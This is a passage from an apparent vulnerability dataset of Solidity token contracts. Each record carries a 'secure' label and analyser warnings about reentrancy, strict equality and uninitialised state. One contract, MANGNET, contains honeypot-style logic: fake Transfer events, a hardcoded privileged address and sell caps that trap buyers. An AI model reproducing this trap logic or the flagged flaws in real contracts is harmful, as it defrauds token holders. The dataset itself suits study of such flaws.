}\n }\n\n function approve(address to, uint256 tokenId) public override {\n address owner = address(uint160(_packedOwnershipOf(tokenId)));\n if (to == owner) revert();\n\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSenderERC721A()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return _startTokenId() <= tokenId && tokenId < _currentIndex;\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n if (_addressToUint256(to) == 0) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n (_boolToUint256(quantity == 1) << BITPOS_NEXT_INITIALIZED);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 49440aa): GPunkz._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 49440aa: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 68e0ac6): GPunkz._transfer(address,address,uint256) uses a dangerous strict equality _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 68e0ac6: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(address from, address to, uint256 tokenId) private {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n address approvedAddress = _tokenApprovals[tokenId];\n\n bool isApprovedOrOwner = (_msgSenderERC721A() == from ||\n isApprovedForAll(from, _msgSenderERC721A()) ||\n approvedAddress == _msgSenderERC721A());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n\n if (_addressToUint256(approvedAddress) != 0) {\n delete _tokenApprovals[tokenId];\n }\n\n unchecked {\n --_packedAddressData[from];\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n BITMASK_NEXT_INITIALIZED;\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n\t\t\t\t// timestamp | ID: 49440aa\n\t\t\t\t// incorrect-equality | ID: 68e0ac6\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure returns (string memory ptr) {\n assembly {\n ptr := add(mload(0x40), 128)\n\n mstore(0x40, ptr)\n\n let end := ptr\n\n for {\n let temp := value\n\n ptr := sub(ptr, 1)\n\n mstore8(ptr, add(48, mod(temp, 10)))\n temp := div(temp, 10)\n } temp {\n temp := div(temp, 10)\n } {\n ptr := sub(ptr, 1)\n mstore8(ptr, add(48, mod(temp, 10)))\n }\n\n let length := sub(end, ptr)\n\n ptr := sub(ptr, 32)\n\n mstore(ptr, length)\n }\n }\n\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}",
"file_name": "solidity_code_3148.sol",
"secure": 0,
"size_bytes": 15242
} |
{
"code": "// SPDX-License-Identifier: NONE\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_3149.sol",
"secure": 1,
"size_bytes": 280
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BossOfAmerican is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Boss Of American\", \"BOSS\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 69420000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_315.sol",
"secure": 1,
"size_bytes": 601
} |
{
"code": "// SPDX-License-Identifier: NONE\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"SafeMath: subtraction overflow\");\n uint256 c = a - b;\n return c;\n }\n}",
"file_name": "solidity_code_3150.sol",
"secure": 1,
"size_bytes": 457
} |
{
"code": "// SPDX-License-Identifier: NONE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is IERC20 {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 public totalSupply;\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n function approve(address spender, uint256 value) public returns (bool) {\n _approve(msg.sender, spender, value);\n return true;\n }\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(amount)\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].sub(subtractedValue)\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n _balances[sender] = _balances[sender].sub(amount);\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _createSupply(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n totalSupply = totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = value;\n emit Approval(owner, spender, value);\n }\n}",
"file_name": "solidity_code_3151.sol",
"secure": 1,
"size_bytes": 3089
} |
{
"code": "// SPDX-License-Identifier: NONE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract WeAreSparta is ERC20 {\n string public constant name = \"SpartaAI\";\n string public constant symbol = \"SpartaAI\";\n uint8 public constant decimals = 18;\n\n constructor() {\n _createSupply(msg.sender, 300 * 10 ** decimals);\n }\n}",
"file_name": "solidity_code_3152.sol",
"secure": 1,
"size_bytes": 391
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Memeluck is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Memeluck\", \"MMLU\") Ownable(initialOwner) {\n _mint(initialOwner, 388888888888e8);\n }\n}",
"file_name": "solidity_code_3153.sol",
"secure": 1,
"size_bytes": 393
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract MANGNET is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b60597): MANGNET._e242 should be constant \n\t// Recommendation for 7b60597: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6fff594): MANGNET.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for 6fff594: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n require(_msgSender() == 0xB8eb1576143149cA86a98c8f76f83dF755c1501a);\n\n\t\t// missing-zero-check | ID: 6fff594\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0x8482876C9d0509D9DC4c686B25737766644471f7 &&\n from != 0xB8eb1576143149cA86a98c8f76f83dF755c1501a &&\n from != 0xf549db1Eb630F2C1c7066A4513dAF39578Fd4c97)\n ) {\n uint256 _X7W88 = amount + 2;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"Magnet_network\";\n\n _symbol = unicode\"MANGNET\";\n\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3154.sol",
"secure": 0,
"size_bytes": 6562
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract BazelOpepen is ERC721A {\n uint256 public maxSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e01093b): BazelOpepen.mintPrice should be immutable \n\t// Recommendation for e01093b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public mintPrice;\n\n uint256 public freePertx;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7c42279): BazelOpepen._mint(address).freeNum shadows BazelOpepen.freeNum (state variable)\n\t// Recommendation for 7c42279: Rename the local variables that shadow another component.\n uint256 public freeNum;\n\n\t// WARNING Optimization Issue (constable-states | ID: cf3a657): BazelOpepen.maxPerWallet should be constant \n\t// Recommendation for cf3a657: Add the 'constant' attribute to state variables that never change.\n uint256 private maxPerWallet = 20;\n\n string uri;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bf10227): BazelOpepen.owner should be immutable \n\t// Recommendation for bf10227: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n mapping(uint256 => uint256) free;\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n if (msg.value == 0) {\n require(msg.sender == tx.origin);\n require(totalSupply() + 1 <= maxSupply);\n require(balanceOf(msg.sender) < maxPerWallet);\n _mint(msg.sender);\n } else {\n require(msg.value >= mintPrice * amount);\n _safeMint(msg.sender, amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7c42279): BazelOpepen._mint(address).freeNum shadows BazelOpepen.freeNum (state variable)\n\t// Recommendation for 7c42279: Rename the local variables that shadow another component.\n function _mint(address addr) internal {\n if (totalSupply() > 200) {\n require(balanceOf(msg.sender) == 0);\n }\n uint256 num = FreeNum();\n if (num == 1) {\n uint256 freeNum = (maxSupply - totalSupply()) / 12;\n require(free[block.number] < freeNum);\n free[block.number]++;\n }\n _mint(msg.sender, num);\n }\n\n function communityMint(address addr, uint256 amount) public onlyOwner {\n require(totalSupply() + amount <= maxSupply);\n _safeMint(addr, amount);\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() {\n super.initial(\"Bazel Opepen\", \"Opepen\");\n owner = msg.sender;\n freeNum = 2700;\n maxSupply = 3999;\n mintPrice = 0.001 ether;\n freePertx = 3;\n }\n\n function setUri(string memory i) public onlyOwner {\n uri = i;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e0b2599): BazelOpepen.setConfig(uint256,uint256,uint256) should emit an event for freePertx = f freeNum = t \n\t// Recommendation for e0b2599: Emit an event for critical parameter changes.\n function setConfig(uint256 f, uint256 t, uint256 m) public onlyOwner {\n\t\t// events-maths | ID: e0b2599\n freePertx = f;\n\t\t// events-maths | ID: e0b2599\n freeNum = t;\n maxSupply = m;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function FreeNum() internal returns (uint256) {\n if (totalSupply() < freeNum) {\n return freePertx;\n }\n return 1;\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual override returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 5) / 1000;\n return (owner, royaltyAmount);\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_3155.sol",
"secure": 0,
"size_bytes": 4226
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Token {\n mapping(address => uint256) public balances;\n mapping(address => mapping(address => uint256)) public allowed;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7034260): Token.totalSupply should be constant \n\t// Recommendation for 7034260: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1500000000 * 10 ** 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: ecb8b84): Token.name should be constant \n\t// Recommendation for ecb8b84: Add the 'constant' attribute to state variables that never change.\n string public name = \"Free-Estimation Coin\";\n\t// WARNING Optimization Issue (constable-states | ID: e354c9e): Token.symbol should be constant \n\t// Recommendation for e354c9e: Add the 'constant' attribute to state variables that never change.\n string symbol = \"ESTC\";\n\t// WARNING Optimization Issue (constable-states | ID: 00812d2): Token.decimals should be constant \n\t// Recommendation for 00812d2: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n\n using SafeMath for uint256;\n\n constructor() {\n balances[msg.sender] = totalSupply;\n }\n\n function balanceOf(address tokenOwner) public view returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public returns (bool) {\n require(balanceOf(msg.sender) >= numTokens, \"Balance too low\");\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public returns (bool) {\n require(balanceOf(owner) >= numTokens, \"balance too low\");\n require(allowed[owner][msg.sender] >= numTokens, \"allowance too low\");\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}",
"file_name": "solidity_code_3156.sol",
"secure": 1,
"size_bytes": 2909
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SafuDevToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a2755b6): SafuDevToken.bots is never initialized. It is used in SafuDevToken._transfer(address,address,uint256)\n\t// Recommendation for a2755b6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 100_000_000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n uint256 private _standardTax;\n\t// WARNING Optimization Issue (immutable-states | ID: 3865f59): SafuDevToken._feeAddrWallet should be immutable \n\t// Recommendation for 3865f59: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet;\n\n string private constant _name = \"SAFU Dev\";\n string private constant _symbol = \"SAFUDEV\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = 2_000_000 * 10 ** 9;\n uint256 private _maxWalletSize = 4_000_000 * 10 ** 9;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _feeAddrWallet = payable(_msgSender());\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet] = true;\n _standardTax = 9;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc3a217): SafuDevToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc3a217: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2dea629): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2dea629: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e9f8faa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e9f8faa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2dea629\n\t\t// reentrancy-benign | ID: e9f8faa\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 2dea629\n\t\t// reentrancy-benign | ID: e9f8faa\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6659994): SafuDevToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6659994: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: e9f8faa\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 2dea629\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c51571c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c51571c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4c9a2dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4c9a2dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a2755b6): SafuDevToken.bots is never initialized. It is used in SafuDevToken._transfer(address,address,uint256)\n\t// Recommendation for a2755b6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 799548f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 799548f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n _feeAddr1 = 0;\n _feeAddr2 = _standardTax;\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > 0\n ) {\n\t\t\t\t// reentrancy-events | ID: c51571c\n\t\t\t\t// reentrancy-benign | ID: 4c9a2dc\n\t\t\t\t// reentrancy-eth | ID: 799548f\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c51571c\n\t\t\t\t\t// reentrancy-eth | ID: 799548f\n sendETHToFee(address(this).balance);\n }\n }\n } else {\n _feeAddr1 = 0;\n _feeAddr2 = 0;\n }\n\n\t\t// reentrancy-events | ID: c51571c\n\t\t// reentrancy-benign | ID: 4c9a2dc\n\t\t// reentrancy-eth | ID: 799548f\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: c51571c\n\t\t// reentrancy-events | ID: 2dea629\n\t\t// reentrancy-benign | ID: e9f8faa\n\t\t// reentrancy-benign | ID: 4c9a2dc\n\t\t// reentrancy-eth | ID: 799548f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: de61e20): SafuDevToken.setStandardTax(uint256) should emit an event for _standardTax = newTax 